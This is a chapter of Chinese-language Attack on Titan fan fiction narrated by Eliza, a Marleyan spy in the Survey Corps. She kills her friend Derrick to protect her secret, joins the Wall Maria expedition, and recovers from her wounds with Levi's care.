和阿尔塔告别后,我坐着颠簸的马车回到了调查兵团。
从车上下来,我把帽子取下,放在胸口,看着站在营门口的利威尔和韩吉。
韩吉跑过来抱住我,“小伊莱扎你太过分!怎么一声不吭就去难民营了呢?”
我拍了拍她的背,她快把我勒死了,“我告诉了埃尔文。”
利威尔接过我的行李,说,“德里克来找过你一次,你最好等会去见见他。”
我揉了揉眉头,“好。”
韩吉问:“德里克,那是谁?”
我把她从我肩膀上扒开,“那是我朋友。”
“欸?!!”韩吉大叫起来,“你这家伙竟然还有朋友吗?”
“那我是什么?”韩吉兴奋地指着她自己,我不敢看她。“我总得跟那什么克一样吧?”
我不知道该怎么回答,在我心里德里克和其它人还是有区别的。就算是利威尔我也不会把他看作朋友。
大概是因为我从进墙开始就一直和这个家伙在一起厮混吧,我从来没和一个正常人呆在一起那么久过。而且他和他父母对我很好,让我感觉很温暖。
我忍不住想到了法兰和伊莎贝尔,他们死的时候我仅仅只是沮丧了一会。
但如果是德里克呢?
如果他死了,我会难过吗?会哭吗?
我想起了我上次在利威尔寝室门口安慰他,安慰着安慰着我就哭了,但那个哭不是为了伊莎贝尔和法兰,仅仅只是我太累了,而且我认为我应该哭。
如果德里克死了,我会发自内心地为他哭泣吗?
我发现我不敢回答这个问题。
我抬起眼皮,看着韩吉用她的双眼盯着我,再抬起头,看着利威尔。
利威尔把韩吉从我身上扯开了,他嘲讽地说,“想什么呢?你只是同事。”
韩吉瞬间就闹起来,“如果我是同事!那也是小伊莱扎最亲近的同事!而不是你个小矮子!”
利威尔揍了韩吉的后脑勺一拳,“闭嘴!”
到了寝室门口,我有种不太好的预感,我转过身去从利威尔手里接过行李,说,“我自己来吧。”
他点头,直接走了。
我推开寝室门。
这间寝室是我单独申请到的寝室,只有我一个人。大概也算是队长的特殊待遇吧。
我看了看地毯,深吸一口气。
有人来过我的寝室。
我克制自己被打乱的呼吸,走到床前,蹲下,打开床底的柜子。
文件不见了。
我冲到桌前,打开那个暗柜。
还好,暗柜里的文件还在。
这个文件绝对是丢失了一段时间,能进我房间的说明是和我关系还不错的人,或者是上司。
现在我还没有被定为可疑人物,只要在那之前,找出拿走文件的那个人就行了。
然后再把他给杀了。
想到这,我决定具有攻击性的武器带在身上。
只有死人才能保守秘密。
36。
抱着去杀人的想法,我没想到我会在转角口那遇上利威尔,我马上扬起笑容,问他,“你找我?”
他诡异地看了我一眼,说,“走,我们一起去找德里克。那家伙之前一直告诉我要把你送到。”
妈的。我控制自己不骂出声。
“好吧,那走吧。”
马车狠颠簸,但我无心在意,就算是看风景也只是做个样子。我满脑子都是计划泄露该怎么办。
要不要趁此机会投敌?
这个念头悄然出现,把我吓到了。我马上将这个念头摁回我的潜意识海洋里。
不能做叛徒,会死的。
这个时候我正好和利威尔的目光隔空交汇,这让我意识到,我或许是因为和岛内的人生活在一起太久了,才会产生投敌这样的想法。
清醒点啊,伊莱扎,你和这些人只是逢场作戏。我暗示完自己后,松了口气。
到了德里克家楼下,我察觉到德里克站在窗边注视我的目光,这让我感觉不妙。
“你在这等我吧。”我转头跟利威尔说“我要单独和德里克说些话。”
利威尔点了点头。他向来会给我和德里克留空间,他知道我们的关系很好。
顺着昏暗的灯光走进楼梯,听着木制阶梯在我脚下发出的咯吱声,我感觉不太好。
我总是头疼,感觉像是脑子里有什么东西在蠕动一样,像是有一条又长又粗的讨厌的虫子寄生在我脑子里。
每次听到这样的咯吱作响的声音,我总会头疼。脚走在木板上的声音,巨人的牙齿咬合人类的骨头的声音……都会让我头疼。
我推开咯吱作响的木门,他房间的窗帘拉上了,只点了一个蜡烛,整个房间的灯光昏暗不清,我看不见他的神色。
但是我看见他的桌子上,有我丢失的笔记本。那是我身为间谍的罪证。
37。
“伊莱扎,这是什么?”他拿起来,“你为什么会有立体机动器的构造图,还有这些地图,你标注这些军事基地做什么?这明明……不是调查兵有权限获得的资料啊?而且,为什么你会用我从未见过的……”
我感觉我的大脑里的那条虫在不断扭曲。明明现在很安静,除了他的声音,我的呼吸声和心跳声,没有其它声音,但我觉得很嘈杂,嘈杂到让我心烦。或许是我讨厌他虚弱的嗓音吧。
“伊莱扎……我在你的匕首上见过这些,”
“这个原来不是符号,是文字吗?”
“伊莱扎……”
他或许只是……我本能地想给他找个借口。
我突然想起,德里克这家伙虽然很聪明,但却傻的可怜。
那时候我们才刚报了训练兵团的申请表,就去酒吧里庆祝。
没多久一群混混过来调戏我,那些混混可比我们两个少年要高多了,就在我想着该怎么用不引人注目的方式把他们打倒,德里克冲到我面前把那群混混揍翻在地上。
后来被揍的鼻青脸肿的他狼狈地拉着我跑出了混乱的酒吧,等我们气喘吁吁地跑到了空地坐下来喘息时,他才骂着说,
“混蛋,等我从训练兵团毕业绝对要把这些人渣全部关进监狱,他们是怎么想的……”
其实在很多人眼里这没什么。是件小事。只不过是被一群人高马大的壮汉给摸了摸。
那个时候我跟他
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还没有那么熟悉,他其实没必要为了我被揍成这样……为什么要做这种没必要做的事呢?
那天我也没想到,我给他上药时,哭的一塌糊涂。
第二天我们出发去训练兵团的时候,他送给我这把刀,告诉我,“伊莱扎,你要保护好自己。”
他是这个世界上,第二个对我说这句话的人,第一个人是我的奶奶。可他根本不知道,我从来不需要别人保护,因为我才是那个会伤害别人的人。
我摁住我颤抖的手,把那把刀丢在了一边,捂住脸痛哭起来。
鲜血从他的心口不断流出。他的双唇微微颤动似乎想要说出什么,他把手抬起来,用那双森林一样的幽深的双眼望着我。
“不。不。不。”我把手背在身后,往后退了几步。
他往我这边踉踉跄跄地走了几步,伸出手,似乎想要触碰我,最终却跌倒在地上……
此刻,德里克的绿色眼睛盈满了泪水,他太痛了,说不出话来,我感觉我那只沾了他鲜血的右手,变得滚烫起来。
最后一切都停止了,他的呼吸,他的心脏,他的梦想,他的幸福,他的人生,他的一切。
他死了。一切都晚了。
他的双目涣散,甚至连一句诅咒的话都没留下。
我早已知道这一切都无法挽回。
38.
“为什么要杀了他呢。”我看见那个穿着训练兵团制服的少女问我。
“因为他拿走了机密的文件,我不能让计划败露。”
“但你把他当做家人了吧,你不是说你不会再杀害任何一个家人了吗?”我看见那个拿着把沾着血的刀的小女孩问我。
“但我没有选择。”
“那你在哭什么呢?”我看见身着马莱军服的我站在我面前,“你不是要为了马莱付出一切吗?”
“你难过吗?”我看见穿着训练兵团制服的我站在我面前。“还是说你觉得你如释重负?”
“这是必要的死亡。他只有死。”
“你在撒谎!”我听见她们同时尖叫起来。
我捂住了我的心脏,“砰,砰,砰……”它还在跳动,鲜活而有力。
我听见“”我”站在我身后,抓住我的后颈,死死地抓住,“你想献出你的心脏吗?”
我开不了口,只能感受着窒息带来的死亡在逐步靠近。
“我告诉你,这不可能。”她说着,松开了手。“不要再期待了。”
我清醒过来了,我看着德里克的尸体,走上前,帮他清理了伤口,合上了他无神的双眼。
我必须处理现场,不能让人发现他是我杀的。
我拿起那些文件,将他们烧成了灰,塞在德里克的伤口里,那个伤口很大。
处理好这一切后,我找到了完美的替罪羊。
“对不起。”我听见我的身体在离开寝室时这么开口,但我不知道我是为杀了德里克,还是为那个替罪羊,我毁了他的人生……
我不知道我在对谁说对不起,或许那个人是我。
39。
利威尔蹲坐在阶梯口,他看着我神色呆滞,一步步走下台阶,他察觉到不对,问我,“怎么了?”
“他死了。”我对利威尔说。
利威尔的瞳孔骤然缩小,“德里克?”
我抱住了利威尔,把头埋在他的颈窝里,贪婪地呼吸着他身上属于活人的气息。
我用颤抖的声线说,“我上楼没看见他,于是我坐在那看他的笔记,后来我摸到了他的尸体,在柜子里,他被人分尸了。”
利威尔僵硬地拍了拍我的肩膀,我紧紧地抱着他,痛哭起来。
我不知道我是真的难过,还是装出来的。但我确实感觉到,我的心和肺都被他的尸体撕裂开了。
9. 地狱
40。
杀死德里克让我感觉很不好受。我想或许我是真心把这个傻白甜看成我的朋友了,而我已经很久没有这样背叛亲友了。
最近我的状态似乎不太好,有好几次我差点就撞墙了,是韩吉把我拉住的。利威尔也有好几次把我从空想状态里面拍醒,他对这样的我多了点耐心。
等到这周兵团放假我就把自己关在这个小小的房间,现在已经过了一个晚上加一个上午了。
在这段时间里,我仔细地理了理现在所面临的情况,尝试疏通自己的情感障碍。
嗯,结果很显然。我没学过心理。我根本疏通不了。呵呵。
我只能告诉我自己,按着我的习惯完成任务就好了,情绪什么就让它在角落里腐烂发臭吧!
我知道很多士兵其实都是这么做的,只有精锐团队才有时间给每一个士兵做心理辅导,大多数士兵其实都是在战争里跟随本能做事,等到战争结束了才开始发疯崩溃,大家比较喜欢叫这种崩溃为战后应激障碍。
我肯定不会出现战后应激障碍,不过我也不一定能够活到战争结束。我们已经打了很久仗了。
我寻思着我该做点什么转移我的注意力,嘶,去找人厮混显然不太可能,要是感染了什么性病我就完了。
要不去确认一下案件的进度?现在是午餐时间。如果现在溜出去的话,不会被发现。
我这么就想着就跑了出去,去了宪兵那里。
我在训练兵团时仔细调查过,发现宪兵团虽然嘴上说的是只允许身为“精英”的前十名加入,但实际上宪兵团所做出的事并不是只需要精英就能做到的。除了部分擦屁股的,里面有很大一部分是在混吃混喝。
所以他们一定会在和我们的战争中完败,那时候的我是这么想。但现在我想到了调查兵团的大家,又不太确定了。
“你好,我是伊莱扎。或许你们从德里克那里听说过我。”我跟那些宪兵说。我本来想着要不要收拾地狼狈难过一点再过去,结果看镜子时发现我已经足够没活气了。
“哦哦,你是……德里克的那个朋友,对吧?”
我点点头,问,“你们查到凶手了吗?”
“没有结案,但是嫌疑人有了。”
“……那他的结局是什么呢?”
“死刑。”
看来我布置的“线索”误导成功了。抱歉啊……那个不知道叫什么名字的替罪羊。
虽然我的歉意也没什么用。
“德里克的东西都被他父母收走了。”
“是吗?”我还不太想去见叔叔阿姨。我刚刚杀了他们的儿子,我的朋友。
“其实也不用太难过,他被抽中参加玛利亚夺回战的远征,多半是回不来的。早死晚死都一样嘛。” 那个宪兵安慰我说:“他本来想告诉你这件事的,结果没想到你不在兵团宿舍……”
我停下了准备离开的脚步。
“玛利亚夺回战?”
41.
“伊莱扎.达克,调查兵团。”那名宪兵看着我申请书念着,“你确定要报名参加玛利亚夺回战?”
“嗯,我是德里克的朋友,他被杀害了,我要顶替他参加。”
那个宪兵笑了笑,露出他发黄的牙齿,“好,真重情重义。”
我拿着那张通知单,上面记着什么时候去报道,还有地点,需要准备的东西。
我听到了我离开后那群宪兵的声音。怪我是个间谍,耳朵太过敏锐。
“傻了吧?”
“哈哈哈,可能是德里克那个小白脸的爱慕者?说起来那家伙的未婚妻昨天哭的真惨。 ”
“好想用我的肩膀安慰一下啊。”
“哈哈你说的是那吧!”
“哈哈哈哈”
……
让人作呕,如果死的是这群人该多好?
但我看到那张通知单,突然觉得,我或许真的不太理智。
不过我有保证自己活下去的办法。我身上被植入了特殊的基因,只要在有其它人在 ,巨人就不会优先攻击我。也正是因为有这个保命符,马莱才敢让我作为这场行动的指挥。
战士们或许会死在巨人口中,但我不会。
马莱做的最坏的打算是战士们受到重创或者背叛马莱,这时候我要把战士们拿去喂给无垢巨人,然后把那名变成智慧巨人的人带走。
所以,我必须不能被巨人吃掉。
这次是冲动了。我握紧这张通知单。
还有调查兵团那边,我还需要跟他们解释
我想到了利威尔,有些头疼。
我到底为什么会有种干了坏事不想被家长发现的心虚感呢?
42.
直觉告诉我不能跟利威尔说,我自己报名参加了玛利亚夺回战。
但我必须要和我们现任团长,埃尔文报备。直到现在我还是很怨恨基斯的眼光实在太好了,选了这个危险的男人做团长。要是是米可做团长,我的日子可会舒服很多。
埃尔文没有停下手上的文书工作,“你确定吗?”
“已经交上去了。”
“没有跟长官提前报备……这样算是违纪了吧?伊莱扎,看不出来你是个冲动的人。”
“等我回来再处罚吧。”
“前提是你能回来。”埃尔文说。
“我相信我自己的实力。”
“狂妄。”他点评,“自大。”
我无所谓地说,“但那是因为我有这个实力。”
“没资本的人这么说,才是自大吧。”
他笑了笑,带着不太明白意味的笑容,说,“你得和利威尔好好说一下。”
我顿时感觉不太妙,缓缓转过身,就看见了黑着一张脸的利威尔。
我本来的计划是先斩后奏,等我走了,利威尔自然也会知道我报名了玛利亚夺回战。
但现在看来,这个计划是彻彻底底的大失败。
对此我只有一个想法,完蛋。
只希望利威尔大人
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能够不打我的脸。
43.
“先说好,不能把我打残废。”我决定先发制人,“最好也别有太多的伤口了,我是绝对要去参加远征的。”
他没开口。
我闭上眼睛,做好马上与地面亲密接触的心理准备。
但我只感觉到头一沉,然后一个温暖的东西抚摸了我的脑袋。
他在摸我的头,吗?
我感到有些惊讶,迟疑地开口,“利威尔……你是不是……疯了?”
然后他马上把手收紧,抓着我头发,“哈?”
我连忙露出讨好的笑容,“不,开玩笑的。”
他沉默了一会,似乎在想要不要跟我说话,最后还是开口了:“你不是小鬼了,也要学会为自己的行为担起责任。”
“我不知道你为什么要做出这样的莽撞的决定,大概和那家伙有关吧。”
“……”他有些敏锐,我应该把这点记录上去吗?目前为止,帕拉迪岛最强的战斗力有敏锐的观察力。
“是吧,”我说,“我是顶替他的位置去参加玛利亚夺回战的。”
利威尔嗯了一声。
我又继续开口,“我得收拾好行李走了。”
“下次行动前,好好过过脑子。”
“嗯……利威尔。”
“干嘛?”他抱着双臂,靠在门边看着我。
我深吸一口气,笑着说,“要是……当然概率不大,要是我不幸死在战场上。麻烦你,把我埋在那棵我经常休息的树下吧,那里凉快,再把我的行李全烧了吧。”
他没说话,但脸色不太好。
他用命令的语气跟我说,“你会活着回来的。”
“我不想骂你,等你回来后,再好好跟我聊聊你的脑子是不是出什么问题了。”
我把行李箱提在手上,笑着说,“大概你是整个世界唯一希望我活着的人了。”
我看到了埃尔文的眼神再次变得不可摸捉,但我仍然不想改变我的话语。
44.
我和一群士兵坐在马车上,我们马上要被送往罗塞城墙的最外围,在哪里,和远征的队伍一起出发。
我旁边的那个人一直在碎碎念,不停啃自己的指甲。我对面那个人看上去就跟死人一样,他眼里没有光芒,甚至动都不愿动一下…
他们看上去不像士兵,反而更像是即将接受酷刑的俘虏。
不过,去远征跟接受酷刑也差不多了。我觉得没有比被巨人含在嘴里,忍受着它的臭气和丑陋的面庞,被巨大的牙齿不断咬合,只能无能地看着自己被吃掉更残酷的刑法了。当然,任何一种刑法都不好过。
我们这群人到达集合点时,押送我们过来的士兵临走前对我们每个人说了一句,“一路走好,保护好自己就好了。”
大概所有人都觉得这场远征是没有任何人道的吧,颁布这个命令人,死后一定会被落下到地下十八层地狱。
但没有一个人有办法改变,这就是墙内的世界。
10. 玛利亚远征战
45.
浩浩荡荡的远征队伍就这样出发了,玛利亚城墙已经不是人们记忆中的模样了,昔日的景象已不复存在,这里只有破败散落的房屋,沾着大量人血的一砖一瓦……谁能想到在不久前,这里还是人们的家园呢?
我看见一个老人跪在一面倒塌的墙壁前,他有如枯木一般的长满茧的双手,有无助的如树皮一样的面庞,一抽一吸着,似是在哭泣,又似是在嚎叫。那面倒塌的墙壁下,血肉模糊勉强能看出是个年轻人的尸体。
或许死去的人是和他一起逃亡路途中不幸被巨人拍来的碎石砸中的,他的孩子。我感到莫大的无助,但我只能架着马,催促老人快点起身。
还有位老人一边走一边拾起路上的残肢,念着,“要是能活着回去,我就找块地,把你们安葬了。”
我忍不住开口:“这些是你的朋友?亲人?”
他似乎有些惊讶我会和他说话,沙哑着说,“不,我不认识这些肢体的主人,只是希望这些孩子们能够有个安息的地方。”
像是怕我听不懂他说的话,他又补充:“我家里一直有个传说,如果一个人身上的什么部位能够得到宁静,那这个人的灵魂也能安息。只有这样,灵魂才能找到回家的路。我只是希望他们能够回到故乡。”
我干巴巴地说:“不是每个人都想回故乡的。”
“孩子,无论是谁,总会对故乡有眷念,哪怕他在那里没有什么好的回忆,哪怕他讨厌那里……人总是对生他养他的那块土地有着不一样的感情。”
我哑然,不知道该说什么好,只好生硬地点点头。
然而这时候我还不知道,我会把这个老人说的话记这么久。以至于后来被囚禁的日子里,我反反复复念起曾经被我杀死或因我而死之人,懊悔那时没有亲手将他们埋入地下安眠,也总会在那些黑暗里想到我的故乡,到那时我才发现我有多么爱它。
“孩子,”老人说,“如果我死了,你帮我把这个带回去吧。”
他递给我一把梳子。
“这是我老伴的,她让我好好保管。”
我没有问他老伴去哪里了,无疑是死了,只是不知道是怎么死的,如果不是被巨人吃下,我心中的负罪感也会减少吧。
巨人不会吃掉人的残肢,对死人也没什么兴趣,他们只吃活人。
收养我的那个马莱人是前将军,他主张进行了很多关于巨人的实验,还有对人的实验。使用无垢巨人去侵略他国的主意,就是他提出的,他因此晋升为了将军。包括我身上的基因改动,也是他主张的。但是最后基因改造成功,不会被无垢巨人吃掉的实验体,就只有我一个,其它人都死在了药物或手术台上。
我替那位老人把这些残肢放到了行进的马车上,驾车的人是我之前被派去难民营时一起共事的驻屯兵,阿尔塔。
“你竟然还有闲情抽烟。”我开玩笑说。
他把烟抽出来,“说不定是最后一次抽烟了呢?你看,这可是好烟。来一口?”
我直觉拒绝了,“不了,我不太喜欢让人上瘾的东西,也不喜欢它来操控我的神经。”
“那你也不喝酒了。”
“这不一样,”我把一个个残肢甩到了车上,“我酒量很好,不会喝醉,也没有对酒精上瘾。”
“能够回去的话,一起去喝杯酒?”
我没把他随口说的话当回事看,就答应了。
“没想到你也来送死了。”他半是开玩笑半是惋惜地说,“虽然很遗憾,但有个面熟的人我还是很开心。”
“死不死还不一定呢。”我注意到马车上坐的人,那应该是他的父母,“那群宪兵竟然能同意你把人放在车上。”
“因为我朋友是商会会长。”他耸耸肩,“不然你以为我为什么能抽一些好牌子的烟。”
“我以为你是烟鬼,省吃节用只为买烟。”
“前半句对了,后半句可没那么夸张。我还要养女人养男人呢。”
他说他一天可以抽一包烟。
我说他肺肯定都坏死了。
其实我们都看见了前面的队伍有几头巨人在吃人,但我们只是调换了一个方向。
一个上午过去后,队伍少了一大截。
我感受到地面的整动,对阿尔塔说,“有巨人来了,做好准备。”
没过一会,一头约摸七米的巨人埋着扭曲的步伐和丑陋的嘴脸走了过来,我按动扳机,拔出刀刃,利落地削下了这只巨人的后颈肉。
但紧接着又有一只巨人跑了过来,无视我直接朝着大部队奔去,抓住了一个人,往嘴里塞。
我用立体机动器滑到了那只巨人的后颈后方,将两把刀双双插入,往左一削,这个巨人就倒下了,我听见那个被他咬住的人还在痛苦地呻吟,就撬开巨人的嘴,把他拖了出来。
巨人的嘴臭很重,血腥味,腐烂味……因为巨人不会消化,他们只是吃人,然后等人的□□慢慢腐烂。所以被砍倒的巨人就像是一个巨大的长蛆的尸块堆,不断散发恶臭味,配合着热腾腾的蒸汽,让人作呕。
我摸了
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摸那人的伤口,上面还附着了一层巨人的口水,黏答答的,泛着酸味的恶臭。
“没救了。”伤口太深,我直接判下死刑。
“你有什么遗言吗?”我转头,却发现那人已经双目空洞无神,死去了。
46.
到了晚上,队伍锐减了一半,我们还有其它一些队伍已经散开了。我和阿尔塔以及另外一名宪兵,决定让我们这个队伍的一群人,本来是有几千个的,现在大概还有一千多人,先休息一会。
“我们最多只能带回二十人。”我跟阿尔塔说,“那个宪兵在颁布命令时的言下之意就是让我们在外面多送一些人去死。”
阿尔塔沉默了一会说,“其它人怎么样,我无所谓,我只想带回我的父母。”
我看了看那边坐着的木讷的两个老人,“他们知道他们的儿子这么残忍吗?”
“你看着那么多人被吃下去也没什么反应,我们彼此彼此吧。”他毫不留情。
我耸耸肩,总不可能告诉他,我知道无垢巨人就是你们艾尔迪亚人变的吧,自己人吃自己人不比那么多人被吃要可笑吗?
我吃两口军用压缩饼干,阿尔塔说,“好吃吗?”
我感觉被噎住了,咳了几声,“你没吃过?”
“我是驻屯兵。能去下馆子,为什么吃军粮。”
“我觉得挺好吃的。”
阿尔塔让我给他吃点,我给了之后,他嚼了几口,咽下去后沉默了一会,说等回城墙后,他请我吃饭,让我见识一下。
有那么难吃吗?
他拿出烟抽了起来。
其实我那时候觉得有些奇怪,他明明很不希望自己的父母去死,却在墙外这样随时可能丧命的地方,没有抓住时间和他的父母说话,而是坐在一个不近不远的地方。我偷偷瞄了一眼他的父母,发现他们偶然会慌张地扫上一眼阿尔塔。
“你的衣服质量挺好的。”我随意说。
他闷声笑了几声,把烟吐了出来。问我,“你有对象吗?”
“……”我觉得他有些毛病,没好气地说,“我才24,还年轻,不急。”
“呵。”他带着不屑的语气,“24啊~唉,这位姐姐,我都有四五六七八任了。连个在城墙等你回去的小情人都没有,唉,真孤独。”
“还,还是有人等我回去的。”我说的有些没底气,阿尔塔就又笑话我了。
我可不是个滥情的人。要知道拿随意的感情蒙蔽自己过后往往不会更加满足,只会更加空虚,更加孤独。
11. 潘多拉之罪
47。
不记得是谁曾说过:美丽,无非是恐惧的开端。
不管那人是谁,他都是个天才。用这么一句简单的话语,阐述了千万个无由头的恐惧的理由。
墙外和墙内其实看到的,是一片天空。但也不是同一片。墙外的天空要更大,更美,即便只是我重复过千万次的一呼一吸,即便我只是单单地看着天空,都让我觉得,我是自由的。
如果说,在这个残酷可笑的世界上,有那么一样东西,可以穿透一切高墙,那一定是人类内心深处,对自由的渴望。
当我从巨人手下救走那个老人时,我切切实实听到了从我的身体里发出的一声“咔嚓”,像是在为什么而叹息。
伴随着剧烈的疼痛袭来的,是天花乱坠般的晕眩。我呲牙咧嘴地看着的,除了面前巨人丑陋发嘴脸,还有这片墙外的天空。
这不是我想看到的最后一片天空。我这么悲哀地想。但那时因为太痛了,我脑子不太清醒,至今也不知道我想看到的最后一片天空在哪?
我清晰地认识到救下的那人是我的敌人,就算他现在活下来了,日后也会死在即将爆发的战争里,但我不后悔。
即便我明白这个道理,却依然选择了去救下那名老人。所以说啊,思想是矛盾的,而人正是因为有思想才和草木有所不同。
我在被巨人握在手里时,没有挣扎,没有嘶吼。我很平静地接受了或许我即将死亡这个事实。
听说一些动物在死前会发出凄惨的哀嚎,有人说那是为了向世界宣发对命运不公的愤怒,但我却沉默不语。
但我或许,是有那么一点不甘心的。
听到嗖嗖声后,我失去了意识。
其实也好,总好过硬生生地看着自己被吃下。
48。
人在感受极大的痛苦时,潜意识会强迫你想起一些被深埋着的记忆,尽管你的脑子想要将它们彻底摘除。
曾经,我的妈妈告诉我,人死前会回忆生前对这个人来说,最为痛苦,最为悔恨,最为欣喜的记忆。
她那个时候在跟我讲一个故事,关于潘多拉魔盒的故事,故事只讲到了“拥有一切的女人”潘多拉听从宙斯的话,打开魔盒,释放了一切丑恶的情感,却独独留下了“希望”在魔盒里。
我问她,“妈妈,那么世界上就不存在希望了吗?”
她说:“希望,会从人的灵魂里诞生。”
我问她潘多拉的结局是什么。
她说她不知道,或许她永远离开了被诸神庇佑的土地,也许她被流放到了哪里接受惩罚……但每个人的结局都是死亡。
我那时觉得潘多拉是个恶人,现在我只觉得她很可怜。
49。
剧烈的疼痛把我拉出了走马灯,我虚着眼看见了阿尔塔驾着车的背影,还有不停拿着什么东西包住我伤口的两位老人。
恍惚中,我听见他在吼,“马上就回去了!”
回哪呢?
我还能回哪去?
我想问他要把我送回哪去,但是太痛了,我再次陷入昏迷。
50。
我再次睁开眼时,看到了白色天花板,还有坐在椅子上睡着的利威尔。
真幸运啊,看来我又被人从鬼门关硬生生地拖回来了,只是不知道这样的机会还有几次。有时候我会希望自己不要那么幸运。
我注意到他的眼下一片乌青,大概是文书工作太多了,我走前特意让他帮我处理文件,好让我回来时不至于每日每夜地工作。
看来工作很累,他是从地下街出来的,在地下街不需要认太多字,更不需要学会写太多字。
去年过年的时候,那是第一次只有我和他两个人一起过年。伊莎贝尔和法兰死在了他们第一次出墙,德里克则去和他的未婚妻一起过年,我和他两个人没有过节的习惯,只是一起吃了顿还算美味的饭,然后在回兵营的时候,他让我教他认字写字。
就这样,我们两个人在跨年的那天晚上,大家都在街上吵吵闹闹,和家人团聚的日子里,在调查兵团的宿舍里,点了一晚上的灯,我拿着报纸,教他认字写字,他一笔一画地认真地写着。
大概是因为我是自学的艾尔迪亚的文字,有自己识字的心得,能交给他的妙招比那些从小耳濡目染的人要多的多……
他现在几乎能写能认绝大部分文字了,只是用笔还不是很快,但字写的很好。如果不是我,还有谁能够把一个混子教的这么有文化呢?唉我果然还是厉害啊。
但让他每天写这么多文件,确实有些难为他了。
他睁开眼,看到我在盯着他,一言不发。
沉默在我们两个中间弥漫。我想他和我都不太懂该怎么面对这场死后劫生。
毕竟那个时候,他才刚失去法兰和伊莎贝尔这两位伙伴一年,日后他还会失去更多同伴。而我身为马莱间谍,没有立场开口。
良久,他才说,“我以为你不会回来了。”
我以为他要骂我了,毕竟有时候他的脾气很暴躁。我只是闭上眼,压下心中的委屈。
尽管他是我在这个岛上的朋友,甚至近乎家人的存在,但我依然知道他是敌人。而我,非必要的话,不会允许在敌人面前流泪,展现自己的脆弱。
但他没有,他只是伸出手,那时候我想躲闪,但我或许是骨折了,稍微有动一下的念头都疼的要命。
大概是伤患的特权,他没有揍我,只是很重,很重地揉了揉我的头。
我突然意识到送我离开时,他灰蓝色眼睛里的悲伤。
他可能想到了法兰和伊莎贝尔,害怕我一个人死在墙外,最后甚至连尸体都不能被带回来。但他又不能阻止我,因为我终究是个成年人,他作为朋友,没有更多的立场去阻止我。
我作势要坐起来,他骂了一句什么,我没听清,反正他过来扶我了。
我说,“我要喝水。”
我的嗓子沙哑地跟生了锈一样。只是说这么一句话还让它出血了。
喝过水后,我就睡了。
我再次起床看到利威尔站在窗边。
开口说,“利威尔。我梦到你了。”
“你竟然给我倒水喝。”
他走回来弹了我脑袋一下,说,“蠢。”
我笑了笑,但马上感受到身子传来的剧痛,又板起脸,轻轻说,“只是没想到你那么温柔。”
他没说话,只是看着我,然后无奈地摇了摇头,“等你养好伤再说吧。”
我开着玩笑,“说不定就死在病床上了呢?有什么话现在说吧。”
他瞪了我一眼。
因为他长着三白眼,还是那样的眉目,总让人觉得他在皱眉,像是常年心情不佳,光是做个样子就很吓人了,再加上他气势逼人,让人控制不住有些怕他。我有次甚至看见他吓哭了走在街上撞到他的一个小孩。
想到了那几次被利威尔摁在地上摩擦的感觉,我连忙说道,“放心吧,只要我不想死,就没人能够拉着我去死的。”
51。
后面有很长一段时间没有见到利威尔。
准确来说,除了医院里的人,我什么人也没见过。
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说不寂寞是假的,但我更多的是在想我似乎有段时间没与小战士们取得联系了。
正当我能够下床的时候,韩吉推开了我的病房门。
老实说,那时候我愣了一下,才说:“唉,我都快认不出你了,感觉有一辈子没看到你。”
这话是真的,医院里的日子枯燥到把时间拉长了。再加上岛内的医术不发达,医院简直要比以往我见过的医院还要无聊。
“其实我们上次见面,就是你出墙那天,才过了两个月。”她坐下,靠着椅子喝了几口水,“你的队员们向你问好,还有纳拿巴,米可,埃尔文。”
埃尔文,他跟我问什么好?我跟他一直都不是关系很好。好吧,我单方面地恐惧这个男人。
我点点头,被韩吉搀扶着坐回床上。
韩吉话总是很多,这会就开始说起了,“我们出了一次墙,还有给利威尔升职的事,太忙了,没来得及来看你。”
“升职?”我问。
“他表现很好,也因为他的一些缘故,民众最近的舆论风向对调查兵团好了不少。现在大家都说他是什么人类最强啊,埃尔文打算趁此机会,给他升职。”韩吉说着,扯了扯领子,我发现她的黑眼圈也很重。大概不仅仅和兵团内的事务有关,还有她的那些关于巨人的研究。
我开口,“他确实也算人类最强,至少我见过的人里面,他是很厉害的。”
“你也确实打不过我。”
门咯吱一声被推开,我看向声音的来人。指了指他的军徽,“怎么跟我们的不太一样。”
“单独设立的一个官职,士兵长。他那个班叫做利威尔特别作战班。”韩吉解释道。
我哦了一声,“兵长啊,利威尔兵长。”
他没好气地瞥了一眼,靠在我的病床边,淡淡的问,“还要养多久的伤?”
“半年吧,半年后参加壁外调查是没问题了。”我拍了拍我的腿,“还没残废。”
“对了,我不太好意思问那些医生,把我带回来的那个人呢?就那个叫做阿尔塔的驻屯兵。”
我确实在这两个月里没有看见阿尔塔的身影,也不知道他怎么把半死不活的我拖回来的……无论如何,我都想好好感激一下。
韩吉揉了揉太阳穴,“被关禁闭了吧。他身世比较复杂,听说是贵族子弟,但小时候被拐卖后,一直留在玛利亚城墙,后面当了兵,被家里人认出来才回归了。但这次出墙,是他自己擅自决定的。”
“是吗。”我想到了他说的父母,还有被火光照着的他的侧脸,在不远处偷偷观察他的两位老人,顿时有些了然。原来那两个老人,不是他亲生父母啊。
利威尔坐了下来,开口说,“不要操心太多事了,你脑子就那么大点。”
“……我姑且也被很多人夸过聪明的。”我马上讽刺回去:“再说了,如果我脑子只有那么大点,那你脑子呢?没有吗?”
他冷笑了一声。嗯。
艾尔迪亚人是不是恶魔我不知道,但利威尔一定是恶魔吧。
那之后,我经历了半年痛苦的康复,每日做的那些康复训练总让我觉得当初自己还不如被巨人吃掉。全都怪帕拉迪岛的技术太过落后了。
有时候利威尔会帮着我做训练,他总是黑着脸,我问他是不是不耐烦帮我,他骂我脑子被屎堵住了。或许他不是不耐烦帮我,只是最近便秘了吧。
等我出院的日子快到时,我告诉韩吉,不要让任何人来接我,我要自己离开医院。
因为我必须得去找战士们了,我得和他们取得联系。我们得规划下一步了。
12. 严冬将至
52。
快入冬了,我看着呼出的白气慢慢凝实,有些后悔没多穿一件衣服。但现在我已经站在医院门口,衣服都收进箱子里了,只好裹紧我身上穿着的这件有些薄的大衣,把手揣到兜里。
要是生了冻疮可就不好了。以往每年我都会长冻疮,因为总是穿不暖,又每日每夜训练,手上全是伤口,还长冻疮,每年冬天都痛的要命,让我想要把手都割下来。
“其实我可以自己出院。”我看着站在我面前的利威尔小心翼翼地说。
他扫了我一眼,吓得我哆嗦了一下,并不是我胆小,而是被他打过有了应激反应,很多被利威尔打过的人都会怕他,不只是我……虽然他已经很久没揍我了。
他说:“三条腿才能走稳的家伙,你想要把自己摔残废,然后我还得来医院照顾你?”他的尾音微微抬高,显得理所当然。
我不满地抗议:“这个拐杖只是为了防止二次伤害!”
